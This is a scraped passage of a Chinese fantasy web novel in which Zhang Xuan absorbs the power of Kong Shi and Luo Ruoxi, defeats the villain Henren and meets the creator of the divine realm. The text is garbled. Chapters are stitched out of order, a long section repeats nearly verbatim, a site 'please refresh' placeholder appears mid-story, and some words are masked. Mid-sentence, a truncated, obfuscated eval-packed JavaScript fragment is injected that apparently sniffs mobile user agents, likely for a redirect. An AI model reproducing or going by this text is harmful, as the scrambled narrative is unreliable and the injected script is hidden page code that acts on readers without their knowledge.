见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第三百八十六章 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? 